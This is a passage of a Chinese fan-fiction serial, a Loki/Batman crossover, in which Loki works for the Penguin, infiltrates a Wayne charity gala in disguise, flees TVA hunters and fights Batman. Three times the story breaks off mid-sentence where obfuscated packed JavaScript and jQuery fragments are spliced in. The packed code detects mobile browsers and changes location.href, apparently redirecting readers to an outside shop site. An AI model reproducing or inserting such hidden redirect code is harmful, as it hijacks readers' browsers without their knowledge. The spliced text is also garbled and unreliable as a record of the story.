他握着水杯地手掌因为发力而细微地打着颤,干薄的皮肤下似乎能看见血管的鼓涨震动,沙弗莱般碧绿幽深的眼瞳底部缓缓涌动起几缕鲜红。
“咔嚓——”
水花夹杂着玻璃迸溅开来,在酒店的地毯上留下一片濡湿的狼藉。
不过...
洛基突然低低地笑出了声。
什么样的城市能在有超级英雄存在的前提下还维持着居高不下的犯罪率。
要么这个城市真的烂得无可救药,要么这个所谓的“蝙蝠男人”也有把心灵权杖,这才把这群的中庭人迷得神魂颠倒。
洛基低头看着自己被水沾湿的手掌,除了指尖边缘凝结出了一层薄薄的冰霜,完好得甚至没有一丝被玻璃压出的红痕。
这句身体再年幼、再瘦小,但也依旧是神的身躯。
是了,他曾经是被那群蝼蚁打败过一次,而未来还会有第二次——神圣时间线上他命定的结局,他众叛亲离,作为战争犯被遣返回阿斯加德,他会害死Frigga,最终死在灭霸的手里——彻底的死亡,被捏碎颈骨,化作一具破碎冰冷的空壳与阿斯加德难民船共同化为宇宙中的几粒尘埃。
莫比乌斯凭什么认为他会甘愿迎接这样的结局。
洛基突然垂眸注意到了地毯上残余的水渍——那儿此刻已经因为骤然降低的房间温度而结出一层冰霜。洛基的嘴角扯起一个讽刺的笑,他心中默念咒语,眼底的血色伴随着脚底的冰霜一齐消退,重新化为一滩无伤大雅的水痕。
但这一次,时间站在了他这一边,他拥有一座全新的城市,一条全新的时间线。
这一次,无论站在他对立面的是谁,他都不会再被打败了。
洛基抬手打了个响指,地毯上玻璃碎片在半空中复原重组,最终缓缓地落在一旁的书桌上。
他重新敛下情绪,手中幻化出一把拆信刀挑开了那个牛皮纸袋上的火漆章,抽出文件后一目十行地阅览起来。
他的姿态重新变得放松下来,身体自然地向后倚靠着书桌,甚至还有雅致用法术替自己倒上一杯威士忌。
牛皮纸袋中的内容物只有一沓美金和一张名片。
洛基粗略数了数,将那两千元现金重新塞回了纸袋中,翻过那张名片看了起来。
名片的质地很硬,边缘有一圈烫金,上面印着一个名字和一个地址,除此之外再没有任何信息。
“罗曼.西奥尼斯”
“西区,布莱蒙特街47号,杰纳斯化妆品公司”
...就这?
洛基的眼皮抽动了一下。
他将这张卡片在手中翻来覆去地看了半天,最后愤愤地将它排在了桌边。
那个该死的,品味低下的胖子。
洛基重新站直身体,在原地短暂地思索了片刻,随即扯过椅背上的马甲外套夺门而出。
他现在住的这间酒位于哥谭寸土寸金的钻石区——不是企鹅人对他有多大方,而是因为企鹅人最近正好住在这里,为了更好的监控洛基的一举一动,这才让他有了住进来的机会。
当然了,作为哥谭市地下王国的现任皇帝、冰山赌场的唯一BOSS,企鹅人住的是更符合他身份基调的顶层总统套房,而目前作为底层跑腿小弟的洛基则只能住在楼下的普通标间。
洛基单手系着马甲的纽扣,心中默数着几个数。
Three。
酒店的走廊幽闭而闷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336296|199248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
热,洛基几乎可以听见皮鞋根与走廊地毯相触时发出的每一道击音。
Two。
他的嘴角浮起一个浅笑,瘦长的手指灵活地将马甲上的最后一枚银扣卡入扣眼。
One——
暗绿的光芒一闪而过。
“晚上好,奥格尔维先生。”
锋利的匕首直指咽喉,绿色眼眸的少年在酒店顶光下显得惨白,同样毫无血色的嘴唇精准地吐出了身后的来犯者的名字。
洛基并未理会腰间抵上的冰冷金属——就连那个铁皮人的掌心炮都对他造不成什么伤害,更遑论这种普通火器了。
“你想做什么?”面色阴沉的男人垂眸瞟了一眼抵在喉间的利器,脸上看不到任何恐惧的神情。
“这个问题该我问你。”洛基将刀尖递得更近了一些。
“科波特先生的命令,”忠心的副手到了这种时候还在用敬称,狠厉的眼神蛇信般滑过洛基的脸颊,“盯好那个新来的,会玩点三流戏法的小杂种。”
“听起来你还真是忠心耿耿。”洛基又笑了,手中的匕首忽闪了一下,在奥格尔维注视下化为了空气中的几缕烟尘。
洛基直接徒手掐住了男人的咽喉,未发育完全的骨骼让他的手掌变得更加单薄窄小,枯枝般干瘦灰白的手掌握在男人粗壮的脖颈上显得毫无威慑力。
奥格尔维刚想开口嘲讽他的自不量力,却在开口的一瞬间被颈间传来的猛烈寒意强行攫紧了声带。
冰蓝的色泽沿着皮肤的纹理缓缓蔓延,在那只苍白的手背下显现出一种奇诡的怪异美感,曾经被他避之不及的冰霜法术在神力的引导下汩汩流出,寒凉的薄冰以他的手掌为起点,缓缓吞噬了人类温热的、饱含生命力的脖颈。
霜巨人的血脉。
那双碧绿的眼眸彻底被猩红覆盖,苍白的皮肤下隐隐渗透出几分幽蓝的色泽。
“I am Loki,Prince of Asgard,God of Mischief,”洛基的语气称得上狎昵,“你最好牢牢记住,因为我只会告诉你一次。”
奥格尔维的胸膛剧烈地起伏着,他没法说话——冰晶缠绕住了他的颈侧大动脉,缺氧带来的窒息感让他头脑发胀,洛基话音落下的一瞬间,他几乎是在晕厥的前夕凭着身体惯性点的头。
“Good boy,”洛基挑了挑眉,终于大发慈悲地收回了手掌。
他睥睨着面前称得上狼狈的男人,眼底的血色重新褪为碧绿,耐心十足地等待着对方重新喘顺气。
“你将会死无葬身之地,”颈间还残留着冰渣的奥格尔维像一头发狂的野兽,因为窒息而充满血丝的双眼瞪视着面前瘦弱的少年,“我会把这件事报告给科波特先...”
“嘘——”
洛基伸出食指置于唇前,动作称得上温柔地制止了面前大吼大叫的男人。
“我只是需要一个帮手...”他抬起那双漂亮的眼睛,一眨不眨地注视着面前仍旧处于暴怒状态的男人,“让我们先从简单的事情做起吧。”
“我只是需要你帮我向科波特先生禀报我的外出申请,然后带回他的口信,我不知道他的房间号,”洛基循循善诱地开口,“我饿了,你们不能放任我饿死在房间里吧?我后天可是还要帮你的科波特先生干一票大的呢。”
奥格尔维的胸膛仍然上下起伏着,却在洛基的安抚下真的安静了下来。
“这就对了。”洛基满意地点了点头。
“Now fetch。”
5. 第 5 章
哥谭的夜晚从不缺少光亮。
水晶吊灯、香槟塔、西装革履的绅士和拖着华丽裙摆的淑女,吊灯的上数以万计的铅玻璃垂饰将整个宴会厅渲染得璀璨夺目,长桌上摆放着白色的蝴蝶兰与黑色几何烛台,西普调香氛的复古余韵在空气中漾出橡木苔与麝香的气息。范德堡大酒店外,红毯从台阶一直铺到路边,将每一位钻石般闪耀的来宾迎接至这场盛大的慈善晚宴。
侍者穿梭在人群间,托盘上的高脚杯澄澈的酒液在灯光下泛着细碎的金光,角落的管弦乐团正在演奏着莫扎特,跳动的音符流水般漫过每一张带着客套微笑的脸。
“好久不见,我亲爱的奥利维亚,”穿着一身湖绿色长裙的女士笑容甜蜜,卷曲的棕发在脑后盘成了花瓣的形状,微微弯曲着膝盖与面前明显年纪小她几岁的少女贴了贴脸颊,“瞧瞧你,我的小仙子,你已经长成一个健康美丽的大姑娘了。”
“格蕾丝姑妈,”奥利维亚温声与女人打了个招呼,随后带着些嗔怪意味地晃了晃格蕾丝的胳膊,“别这么叫我了,我已经长大了。”
“即便你已经长成了一个老太太,你也是我的小仙子。”格蕾丝亲昵地撩起她披散的金卷发,“今晚韦恩先生也会来,到时候你跟朱利安一起上去打个招呼。”
奥利维亚白皙的脸颊浮上一层淡淡的绯色,“我知道啦,你嘱咐过好几次了。”
朱利安.皮尔斯是奥利维亚的未婚夫,在长达了三年的恋爱长跑后,终于在去年的圣诞夜前夕正式订婚,作为英国著名海运保险世家的独生子,年仅24岁的朱利安在大学未毕业时便继承了他父亲的衣钵,一跃成为英格兰最年轻的资本新贵,此次横渡大洋参加这场慈善晚宴,名义上是出于善意的集资捐款,实际上只是为了让皮尔斯资本进入美国市场的探路。
而韦恩集团——这座盘踞在哥谭的庞然大物自然是朱利安最想撬开的一扇门,那个常年霸榜哥谭花边新闻头版的废物总裁布鲁斯.韦恩自然也就成为了朱利安此次的主要拉拢目标。
奥利维亚带着些掩饰意味地撩了撩头发,“还有,我才不要变成老太太呢,我才十九岁。”
“在聊什么呢?”
奥利维亚的身后突然传来一道刻意压低的男声,少女还没来得及回过头,便被怀中骤然出现的百合花束吸引了注意力。
“surprise~”
刚刚才出现在二人对话中的青年就这么猝不及防地突然出现在了奥利维亚身后。
“朱利安!”奥利维亚几乎要抛下社交礼仪直接在宴会现场扑进青年怀里,晴空般的蓝眼睛亮晶晶地看向面前穿着天鹅绒礼服的青年。
奥利维亚在惊喜之余表现出几分困惑,“你从哪里搞来的百合?我记得我们入场时你明明什么也没拿呀。”
“惊喜之所以是惊喜,”朱利安似笑非笑地看着脸蛋红扑扑的少女,“就是因为它让人无法预测。”
“这简直就像魔法!”
奥利维亚本就无意追究什么,此刻更是被彻底打消了疑惑,她几步上前挽上朱利安的手臂,淡紫色的裙摆在空中划出一个优雅的弧度。
“格蕾丝姑妈让我跟你一起去见韦恩先生,我们快点过去吧,我刚刚已经看到他了,韦恩先生可是哥谭的大红人呢,身边乌泱泱围了一大群想要上去搭话套近乎的人。”
韦恩。
“朱利安”的嘴角牵起一个浅淡的弧度。
“当然了,我们现在就过去。”
混入这场慈善晚宴本身是洛基今夜的心血来潮——最初只是出于一种对企鹅人权威的反抗与受到轻视后的逆反心理——谁让他现在只有十六岁呢?企鹅人要做好迎接青少年叛逆期的准备。不过当他在宴会厅的门口见到那位传闻中的布鲁斯.韦恩时,这份心血来潮就演变成了一种带有目的性的筹谋试探了。
所以他敲晕了这个叫朱利安的中庭人,暂时借用了他的身份与形象,混入了这场旨在重建青少年救助中心而开展的慈善晚宴。
作为歉礼,洛基会为他的未婚妻带去一束上好的西伯利亚百合。
*
奥利维亚说的没错,布鲁斯韦恩的确是这场慈善晚宴上的大红人。
被人群簇拥着的男人英俊、风流、富有,那双迷人的钢蓝色眼眸流转着蜜糖般的粘稠——否则他为何能露出那样甜美的笑容?黑亮的短发整齐有型地梳向脑后,将他棱角分明的俊美面孔完整地袒露在众人的视线中。
“韦恩先生。”朱利安——洛基彬彬有礼地点了点头,“我是朱利安.皮尔斯,来自英格兰,这是奥利维亚.莱尔汀,我的未婚妻。”
“噢,我知道你。”
蜜糖先生的声音也如他的外貌一般甜蜜慵懒,“年轻有为的企业家,哥谭需要更多你这样的青年才俊。”
布鲁斯将视线转向一旁的奥利维亚,“莱尔汀小姐,美丽的女士。”他的视线下移至她手中环抱的百合花束,“多好的百合花,看来朱利安先生有一个浪漫的灵魂。”
“一个浪漫的惊喜,我本来一直以为他是个现实主义,”奥利维亚羞涩地笑了一下,“不过,我喜欢这样。”
“一个浪漫的故事,”布鲁斯轻笑着评价道,“我喜欢浪漫的人。”
布鲁斯的话音刚刚落下,一位姿容美艳的女士便越过洛基来到了他的面前,布鲁斯见状只好歉意地朝他笑了笑,将手中的酒杯放入经过侍者的托盘,单手揽过女士纤细的腰肢,低头在她耳边说了些什么,女士轻笑着锤他的胸口,布鲁斯也顺势松开了手,风度翩翩地目送着她抽身离去。
“那还真是我的荣幸,”洛基见此也只是挑了挑眉,语气显得有些漫不经心。
还真是和媒体报道的一样,没什么内涵的纨绔浪荡子。
不过洛基现在需要的正好就是一个有钱的傻子,一个听话的钱包。
一个独立于企鹅人的Plan B。
哈,不然指望着让他靠着企鹅人那抠搜的两千元美金建立新王国吗?
“韦恩先生,”洛基露出个势在必得的笑容,“我知道你是个目光高远的人,毕竟据我所知,韦恩集团投资的每一个项目都取得非常优秀的成绩,作为CEO的你在其中一定耗费了不少心神。”
“是吗?”
布鲁斯脸上的笑容少见的僵硬了一瞬。
“这份赞美我收到了,麻烦替我感谢这位先生,布鲁斯。”提姆带着揶揄笑意的声音在他的便携式耳麦中响起。
“而且英国人说话都是这副腔调吗?”提姆难得刻薄地评价道,“我感觉他下一秒就该端出茶杯然后踩在所有人的脑袋上发表演说了。”
“你这么讲阿福可要伤心了。听起来你对英国佬还真是深恶痛绝,”神谕带着笑意的声音在通讯频道中响起,“我记得你们班新来的那个转学生也是英国
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336297|199248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,看来你们的相处不太愉快?”
“我只是在陈述客观事实,而且这和阿福没关系,我只是在说他们俩,”提姆为自己辩解道,“朱利安和贾斯珀讲话确实都是这种调调,还有,我和贾斯珀相处的其实挺不错的,他很安静,也很聪明。”
“你这么开始说起他的好话了。”夜翼打趣他道,“昨天你不还咬死了他是个满口谎话的骗子吗?”
“这不恰好印证了他的聪明吗?一个人的性格是立体且多面的,所以我们评价一个人时也应该从多维视角出发,这样才能保持全面和客观。”
“我当然知道这个!”夜翼有些抓狂“我只是在开你的玩笑。”
“我当然知道这个,”笑意转移到了提姆的声音中,“所以我才这么说来挖苦你。”
布鲁斯不动声色地扶正了领带,面上依旧保持着属于布鲁西宝贝的迷人微笑。
“感谢你的赞美,朱利安——我可以这么叫你吗?”布鲁斯俏皮地眨了眨眼睛,“作为交换,你们也可以叫我布鲁斯。”
洛基垂下眼睫思索了几秒,随后才不紧不慢地开口,“可以。”
“他居然还真的在为此考虑吗?”搅局者笑得几乎要喘不上气了,“看来你的魅力有所消减啊,布鲁西甜心~”
“他是个怪人。”神谕总结道。
布鲁斯努力压制住一抽一抽的嘴角,默默抬手调低了耳麦的音量。
但神谕说的没错,面前的年轻男人是个十足的怪人。
布鲁斯的视线有意无意地瞟向那束盛开的西伯利亚百合,这是一束品相极佳的花束,油绿的叶片簇拥着顶端洁白的花束,花瓣挺括宽大,边缘自然舒卷起一个优美的弧度,扑鼻浓郁的幽香几乎盖过宴会厅内的香薰蜡烛的味道。
西伯利亚百合的盛花期在六至七月仲夏时节,哥谭并没有种植百合的温室大棚,在寒意未消的三月初春,朱利安上哪搞来的这么一大捧花束?
洛基不明白为什么面前的男人在与他相互交换了名字后就陷入了沉默。
他又兀自评估了一会儿这个人傻钱多的中庭人的可利用价值,视线从那头被发胶涂抹得闪闪发亮的脑袋下移到那掩藏在衬衫后的精良肌肉。
哇哦,他真的很大。
看来这个世界的中庭人健身意识还挺强?洛基觉得他甚至可以跟他那个金发傻大个兄弟比一比大小了。
评估完成的洛基重新定了定神,准备开口拉拢韦恩加入他的伟大征服计划——
“嗡——”
洛基甚至还没来得及张嘴,便被宴会厅中央突然传来的机械噪音掐断了话音。
他循着声源望去,只见宴会厅的中央突然毫无预兆地裂开了一道橙黄色的隙缝,缝隙在水晶吊灯的璀璨光彩下扭曲变形,最终缓缓打开了一道长方形的橙黄色光幕。
觥筹交错的宴会厅像是突然被按下了暂停键。
一台长得像老实摄像机的金属设备缓缓从橙色光幕中探出,紧接着是一只穿着黑色制服的手臂。
制服上印着的logo非常眼熟,眼熟到洛基在看到一瞬间便倏然绷直了脊背。
那是一个橙色的圆形标志,图案非常简单,是一根被三根交错箭头贯穿的垂直直线。
手臂的主人从光幕中完全穿出,身着黑色制服的男人就这么凭空出现在了宴会厅正中央。
时间变异管理局的猎人。
6. 第 6 章
管弦乐团的演奏突然出现了一声尖锐的滑奏,轻盈欢快的莫扎特第三协奏曲突兀地断裂在了空气中。
五位全副武装的TVA猎人自时间门户中走出,目光漠然地在宴会厅内四处张望,似乎完全没有将宴会厅中的其他宾客放在眼里。
“目标就在这里。”为首的猎人抬手看了一眼手中的时间读取器,“时间能量很强。”
布鲁斯不动声色地观察着这群不速之客,西装布料下的肌肉瞬间变得紧绷。
“这些人是谁?”耳麦中的通讯频道再次传来提姆凝重的声音,“他们是从那个光幕中走出来的?”
“显而易见的,”神谕的语气轻巧,“最要紧的问题是他们是谁,以及他们出现在这里的目的。”
“你一个人可以搞定吗布鲁斯?”夜翼问道,“需要帮手的话等我处理完手上这几个寻衅滋事的飞车党就赶过去。”
“不需要,我一个人可以搞定,”布鲁斯微微低下头让嘴唇靠近藏在领带中的通讯设备,“等我摆脱朱利安就去休息室换衣服。”
“呃...布鲁斯,”夜翼欲言又止地开口,“你可能用不着‘摆脱’他了。”
“朱利安已经自己跑了。”
*
不跑?怎么可能不跑。
洛基又不是索尔那种遇到敌人只会大吼一声然后冲上去挥他那把蠢锤子的莽夫。
他的法术对那群该死的时间警察根本没用,等到被他们发现他可想跑都跑不掉了——洛基可不想再体验一次被困在1/16时间流速里的滋味了。
“奥利维亚,”他半弯下腰,对着身边明显还处于状况外的奥利维亚露出个故作轻松的微笑——而这个动作通常代表了他此时很心虚——随后伸手替她拨开了在刚才的仓促奔跑中散落至脸侧的金发,“你先在这里等我好吗?我有一些重要的事情要去做,现在必须离开这里一会儿”
“为什么?”奥利维亚秀气的眉头瞬间皱了起来,伸手拽住了洛基的小臂,“你难道有什么背着我的秘密吗?”
洛基越过混乱地人群看向宴会厅中央,那五个TVA猎人通过时间读取器循着他残留的时间能量四处搜寻起他的踪迹。
还需要利用朱利安的身份和韦恩谈“大生意”的洛基只好耐着性子继续安抚着面前的奥利维亚,“我发誓我马上就会回来,就五分钟,好吗?”
洛基一边观察着奥利维亚的表情一边试探性地将小臂从她的手掌中抽出,“我真的必须得离开——”
“不行!”
奥利维亚用两只手同时抓上他的手臂,那束百合因此从她怀中摔落出去,在地面翻滚了几圈后化作一抹绿光消散在了空气中。
奥利维亚顿时目瞪口呆,紧握着洛基衣袖的手臂都因此松下了几分力道。
“......”
洛基轻叹了口气。
“看来变装舞会要提前结束了。”
洛基温柔地垂下眼睫,慢条斯理地拿开了奥利维亚禁锢着自己的手臂,指尖闪过几道微不可察的绿色光晕,两片色泽浅淡的嘴唇一开一合,“希望你喜欢那束百合,”
“Good night。”
话音落下的一瞬间,面前神情惊恐的少女倏然失去了意识。
TVA那些粗鲁的时间警察已经足够让这群绅商名流惊慌失措了,并没有人注意到他们这个角落发生的小小插曲。
洛基用臂弯接住在中了心灵魔法后昏迷过去的奥利维亚,将其安置在了宴会厅角落的沙发上,随后重新直起身,目光掠过宴会厅中央那几个仍在四处搜寻的身影,时间读取器的红光在人群中穿梭,仿佛猎犬的鼻息般嗅探着他的踪迹。
洛基身形一闪,借着人群的掩护朝着宴会厅侧面的落地窗移动——窗外是露台,露台之外,哥谭的夜色能完美地藏匿他的踪影。
宴会厅的这一侧人迹罕至,厚重的天鹅绒窗帘半遮半掩着通往露台的落地窗,洛基的脚步轻巧无声,几乎就快能再次告别那些恼人的时间追兵——
只差五步。
一道黑影突然从天而降,落在了那扇落地窗之前。
洛基猛地顿住了脚步。
那张巨大的黑色披风跟随着男人的落地缓缓在身后垂落,像夜色本身挥开了双翼,张牙舞爪地包裹住披风中央的男人,那个怪模怪样头顶竖着两只尖耳的头盔遮掩住了来人的面容,只露出一道线条冷硬的下颌。
看起来就像是...一只蝙蝠。
人群中骤然响起的惊呼验证了洛基的猜想。
“是蝙蝠侠!”
洛基还没来得及仔细打量这位属于哥谭的“超级英雄”,眼前的黑影便先他一步有了动作。
洛基甚至没看清他是怎么移动的,就听见耳边突然传来一道空气被划破的尖啸声,下一秒,那只包裹在作战手套中的拳头已经出现在了他的眼前。
他急忙闪身避开,踉跄一步撞上了身后的宴会长桌。
还玩偷袭?这人到底是超英还是超反?
“你——”
洛基还没来得及出声质问,第二拳便紧接着挥来。
洛基这次有了防备,手腕翻转,一柄匕首从袖口滑入掌心,他抬手横档在身前,刀刃恰好批斩上那只作战手套的钛合金护腕,金属相击的声音顷刻在空旷的角落炸开,强势的力道震得他虎口发麻。
“听着,”洛基终于有了开口说话的机会,“我不知道你是谁,也不知道你为什么要攻击我,但这是个误会——”
蝙蝠侠没搭理他,抬腿接着踹向他下盘。
洛基有些狼狈地转身躲开,随手揣起一枚长桌上的陶瓷花瓶砸向穷追不舍的蝙蝠侠。
瓷器碎裂的声音紧接着在宴会厅内响起,瓶内那几只洁白的蝴蝶兰在半空悠扬地翻转飘荡,仿佛突然化作几只真实的蝴蝶那般飞散开来。
“朱利安.皮尔斯。”
蝙蝠侠终于开口。
低沉、沙哑、仿佛是从地底深处传来的声音。
“你认识那些人。”
蝙蝠侠的目光透过护目镜紧紧锁定了面前的年轻男人,“他们在找你。”
两句肯定句。
洛基将
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336298|199248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那把匕首在手里转了一圈,无不恶意地开口道:“听起来你对自己推理能力很有信心?”
蝙蝠侠没有说话,但他也没给洛基继续说话的机会,迎面袭来的拳头带着显而易见的怒气,掀起的劲风吹乱了“朱利安”额前优雅垂落着的几簇棕发,将那双浸着笑意的眉眼因此全须全尾地展露在了蝙蝠侠眼前。
洛基的身体紧挨着身后的长桌,此时只能竭力向后弯腰,有些吃力地这一拳,随后双臂发力顺势将身体滑至长桌的另一边,将匕首捅向蝙蝠侠暴露在空气中的腰腹。
有什么尖利的东西擦着空气向他飞来,洛基敏锐地侧过身体,在灯光下看清了那几枚被抛出的暗器。
飞镖?
洛基挑高了眉毛,“你确定要靠着这种儿童玩具一样小东西对付我?”
说着他便挥舞着那把和儿童玩具没什么两样的捅肾小棍冲了上去,朝着蝙蝠侠暴露在空气中的腰腹刺去。
“他们为什么找你?”蝙蝠侠在躲避攻击的间隙中依旧不依不饶地试图审问他。
“因为我偷了他们的东西,很——值钱的东西,”洛基张口就来,“所以,劳驾,赶紧让开,别再烦我了。”
“你是小偷?”
时间读取器的嗡鸣声越来越近,洛基有些不耐烦地轻啧了一声,却因为这一刻的疏忽被一枚蝙蝠镖划破了手臂。
洛基皱着眉看向大臂被划破的布料,他能感觉到自己正在流血——因为那枚刚刚还被他评价为儿童玩具的飞镖。
“你偷的东西是什么?”
“关你什么事。”
洛基同样挥刀划向蝙蝠侠的大臂,锋利的刃端划破了他的战衣布料,紧接着他试图从侧面绕过蝙蝠侠,却在转过身的一瞬间被反扣住了肩膀,肩上的力道铁钳般将他向后掰去,洛基试着挣扎了一下,竟然意料之外地没有挣开。
“你到底是谁?”喉癌般的声音再次在耳边响起。
洛基的耐心终于彻底消耗殆尽。
暗绿色的光芒自洛基身边炸开,将这只喋喋不休的大蝙蝠从他身侧击退,与此同时,他的身形也一并在原地消散,片刻后出现在了几米开外的阳台露台。
“我本来是想低调一些的,”洛基交叠着双腿坐在露台边缘的栏杆上,视线越过蝙蝠侠看向宴会厅内被他的法术惊扰后匆忙赶来的TVA猎人,“但是现在,随便吧,反正我要走了。”
“另外,”他嘴角勾起一个讥诮的弧度,那张属于朱利安的清俊脸庞上显露出与其气质截然不同的狡黠。
“我是会在未来打败你的人。”
话音落下的一瞬间,洛基的身体向后倾倒,直接从三楼露台的栏杆上向下坠落。
蝙蝠侠在被那道奇诡的绿光弹开后,在重新稳住重心的一瞬间便冲向了露台,巨大的黑色披风在他身后划开一道锋利的弧线,在洛基的身体彻底离开栏杆前,他几乎就快要触碰到了洛基的身体——
伸长的指尖划过西装掀起的衣摆,青年的身体在两者相触的瞬间化作一道耀眼的绿光,彻底消失在了哥谭黑沉的夜幕之中。
7. 第 7 章
哥谭警局审讯室位于总局二楼的东南角,墙壁刷着褪色的浅绿色涂料,在白炽光的照射下泛着一种恹恹的灰白。
朱利安.皮尔斯——真的那个——此刻正坐在那张被固定在审讯桌前的钢椅上,双手交握着放在身前,指节因为用力而微微发白,他的西装还是在晚宴上穿的那一套,上好的天鹅绒西装,意大利工匠手工裁剪,此刻却皱得像是在哪里睡了一觉——他也确实睡了一觉,以一种极不体面的形式,在厕所隔间的马桶上。
“皮尔斯先生。”
坐在他对面的那个老警探开口了,他穿着一件皱巴巴的棕色风衣,手里端着一杯冒着热气的咖啡,声音出乎意料的平静。
“感谢你的配合,我知道今晚的经历对你而言可能有些...令人困惑,但我们只是想弄清楚一些细节。”
詹姆斯.戈登开口说道,鹰隼般的视线打量着面前的朱利安,“请你尽量复述当晚发生的各种细节,特别是与嫌犯产生了直接互动的部分。”
朱利安张了张嘴,却发现自己根本不知道从何说起。
他记得什么?
他记得他去参加韦恩集团做东的慈善晚宴,记得在洗手间里,有个年轻人上前与他搭话。
他问了什么来着?
“他问我...”朱利安低声说道,“我的未婚妻最喜欢什么花。”
“花?”戈登的眉头皱了起来,“他问你这个做什么?”
“我也不知道。”朱利安的声音更低了,“但我告诉他了...我甚至没有追问他为什么知道我有未婚妻...奥利维亚喜欢的花种很多,我只是随便挑了一种告诉他...我也不知道自己为什么要告诉他。”
戈登注视着面前明显状态不对的年轻男人,挥了挥手示意身边的实习警探与自己交班,自己则端着咖啡走出了审讯室。
他沿着走廊往办公室走去,经过茶水间时,看见一个年轻人靠在自动贩卖机旁,手里拿着一杯和自己同款的用速溶粉冲的咖啡。
年轻人穿着一身普通的深色夹克,没做造型黑发稍微有些凌乱耷拉在额前,但依旧影响不了他帅得很有型,高挑的身形自然而然地倚靠在桌边,两条长腿自然地交叠在身前。
戈登认识这张脸,所以他脚下的步子一转,侧身走进了茶水间里。
“格雷森先生,”戈登说道,“在哥谭警局看见你还真是稀奇。”
迪克笑了笑,“布鲁斯让我来的,他听说昨晚的慈善晚宴出了些乱子,有几个客人被带到警局来了,他担心万一有人需要法律援助或者别的什么帮助,特意让我来看看。”
“毕竟是晚宴是韦恩集团办的,出了事总不能完全不管,”话落,迪克朝着审讯室内扬了扬下巴,“皮尔斯先生怎么样?他需要律师吗?”
“比起律师,他现在更需要的是心理医生,”戈登捏了捏眉心,“我怀疑他有点PTSD,只要提及昨晚的事情就开始精神恍惚,审了一晚上都没审出嫌疑人信息。”
迪克微不可察地皱了皱眉,“PTSD?”
“要么就是被嫌犯一闷棍敲失忆了,要么就是被什么会影响心智的魔法攻击了,模糊了他当晚的记忆,”戈登喝了口咖啡,“根据现场目击者的证词,这次的嫌烦是个超自然罪犯。”
迪克的眉头皱的更深了,超自然罪犯的出现让他不由得想起了扎塔娜的突然到访与之前在东区发生的那几桩离奇悬案。
“好,我大概了解情况了,”迪克最终只是露出一个阳光的微笑,“我会把这件事报告给布鲁斯的。”
*
“就在街边停车吧,”气质矜贵的少年冲着驾驶座上的男人扬了扬下巴,“我喜欢低调一些。”
奥格尔维透过车内后视镜看了他一眼,阴狠的目光仿佛随时要拔枪出来给他脑门上开个洞,但还是顺着他的意思将车停靠在了距离哥谭高中仍有一段距离的街道边。
洛基将那个社会福利局的工作人员硬塞给他的帆布书包甩上肩膀,在关上车门的前一刻最后对着车内说道:“感谢您的忠诚,奥格尔维先生。”
他的措辞精准得体,语气甚至称得上谦逊,但洛基依旧在关上车门后听见了清晰的方向盘被砸响的声音。
洛基的嘴角带着抹不易察觉的笑意,抬脚朝着哥谭高中的正门口走去。
他刚刚说的那句话不是单纯为了讥讽奥格尔维,在昨晚与那个“蝙蝠男人”有过正面交锋后,他确实决定日后行事稍微低调一些。
洛基动了动大臂上已经被法术治愈的伤口,脸上的笑意也随之淡下了一些。
Bat,man。
洛基短促地笑了一声,缓慢地将这两个单词在唇齿间吐出。
作为哥谭高中新晋的Drama King,洛基在进入校门时意料之中地受到了来往行人的视线洗礼,青春期荷尔蒙躁动的中学生们或恶意或善意地打量着这个甫一进入校园便被姐妹会拉拢的神秘转学生,并暗中打赌他会与谁修成正果或者在这之前就被布瑞尼厌弃然后踢出他们的小团体。
“嘿,jas宝贝。”走廊上,布瑞尼再次出现在了洛基面前,只不过这回没有拦住他,而是并肩与他前行,“早上好,我刚刚在校门口看见你了。”
“玛莎拉蒂总裁,hum?”布瑞尼俏皮地眨了下右眼,“你还真是深藏不漏,你知道八卦墙上是怎么说你的吗?他们说你其实是个福利院儿童。”
“早上好,”洛基微微低垂下身子,任由女孩伸手解开了他衬衫领口的两颗纽扣,露出半截精致苍白的锁骨。
“这样才更性感,”布瑞尼满意地收回手,不过又很快地皱起了眉头,“你就非得穿衬衫或马甲来上学吗?”
“这样比较得体。”洛基开口说道。
“well,得体,”布瑞尼高高扬起尾音,“要是你没有这张脸的话我一定会把你当成一个nerd。”
“早上好,布瑞尼。”
仿佛历史重演般,提姆的声音再一次在洛基的身后响起。
“噢,早上好Timmy~”布瑞尼的脸上立刻绽开了一个感染力极强的笑容,“学生会什么时候这么清闲了,居然能
